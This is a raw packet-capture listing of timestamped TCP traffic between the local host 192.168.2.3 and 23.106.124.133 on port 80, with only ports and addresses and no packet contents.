Feb 16, 2023 11:49:12.424500942 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.424520016 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424541950 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.424550056 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424576998 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424604893 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424617052 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.424633026 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424659967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424662113 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.424689054 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424715042 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424719095 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.424742937 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424767971 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.424771070 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424799919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424825907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424829006 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.424854040 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424880028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424885988 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.424905062 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424928904 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424954891 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424962997 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.424982071 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.424985886 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425012112 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425023079 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425039053 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425066948 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425082922 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425092936 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425118923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425146103 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425169945 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425173044 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425201893 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425205946 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425230026 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425256014 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425261021 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425282001 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425303936 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425307989 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425335884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425364017 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425390005 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425391912 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425422907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425431013 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425451994 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425472021 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425486088 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425509930 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425534964 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425560951 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425585032 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425591946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425621986 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425632000 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425656080 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425684929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425700903 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425710917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425739050 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425754070 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425764084 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425789118 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425808907 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425816059 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425839901 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425863028 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425889015 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425898075 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425915003 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425937891 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425944090 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425961018 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.425972939 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.425998926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426023960 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426043034 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.426049948 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426074982 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.426076889 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426105022 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426114082 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.426135063 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426165104 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426191092 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426196098 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.426220894 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426248074 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426266909 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.426275015 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426297903 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.426304102 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426331997 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426350117 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.426938057 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.426980019 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427004099 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427028894 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427054882 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427062988 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427079916 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427108049 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427128077 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427135944 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427155018 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427165031 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427192926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427215099 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427222967 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427251101 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427268028 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427278042 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427305937 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427330971 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427347898 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427356005 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427382946 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427383900 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427412033 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427438021 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427468061 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427485943 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427488089 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427514076 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427540064 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427565098 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427570105 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427591085 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427603006 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427618027 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427648067 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427675962 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427700996 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427705050 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427728891 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427735090 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427762032 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427794933 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427817106 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427845955 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427869081 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427872896 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427901983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427926064 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.427931070 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427959919 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427989006 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.427989960 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428019047 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428041935 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428046942 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428073883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428098917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428100109 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428126097 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428143978 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428155899 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428184032 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428210020 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428234100 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428240061 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428263903 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428291082 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428292036 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428307056 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428319931 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428347111 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428374052 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428379059 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428407907 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428432941 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428458929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428462029 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428486109 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428486109 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428533077 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428558111 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428584099 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428587914 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428612947 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428615093 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428642988 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428672075 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428679943 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428702116 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428728104 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428752899 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428754091 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428781033 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428792000 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428807020 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428822994 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428833008 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428862095 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428883076 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428890944 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428917885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428936958 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.428944111 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428971052 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.428997993 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429018974 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429025888 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429042101 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429054022 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429080963 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429106951 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429131985 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429137945 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429157019 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429157972 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429187059 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429210901 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429235935 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429235935 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429265022 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429265976 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429292917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429315090 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429321051 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429349899 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429357052 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429375887 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429402113 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429426908 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429429054 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429456949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429485083 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429488897 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429511070 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429536104 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429537058 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429567099 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429589987 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429594040 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429622889 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429644108 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429651022 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429678917 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429703951 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429703951 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429732084 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429754019 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429759979 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429786921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429805040 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429812908 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429840088 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429864883 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429866076 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429893970 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429919004 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429929018 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.429946899 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.429975986 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.430008888 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.430052042 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.431113005 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.431147099 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.431174040 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.431200027 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.431201935 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.431226969 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.431250095 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.434350967 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.590848923 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.590890884 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.590910912 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.590929031 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.590946913 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.590969086 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.590996027 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591022968 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591043949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591061115 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591079950 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591080904 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591101885 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591129065 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591154099 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591156006 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591180086 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591197968 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591202974 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591217995 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591233969 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591242075 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591270924 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591279030 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591296911 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591315985 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591334105 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591351032 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591351032 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591371059 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591387987 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591396093 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591408968 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591414928 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591429949 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591449022 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591466904 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591475010 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591500998 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591506958 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591532946 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591542006 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591553926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591573000 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591590881 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591594934 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591625929 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.591625929 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.591654062 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594302893 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594337940 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594358921 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594391108 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594413042 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594425917 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.594439983 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594464064 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594484091 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594502926 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594502926 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.594522953 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.594526052 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594547033 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594567060 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594572067 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.594593048 CET	80	49700	23.106.124.133	192.168.2.3
Feb 16, 2023 11:49:12.594605923 CET	49700	80	192.168.2.3	23.106.124.133
Feb 16, 2023 11:49:12.594615936 CET	80	49700	23.106.124.133	192.168.2.3
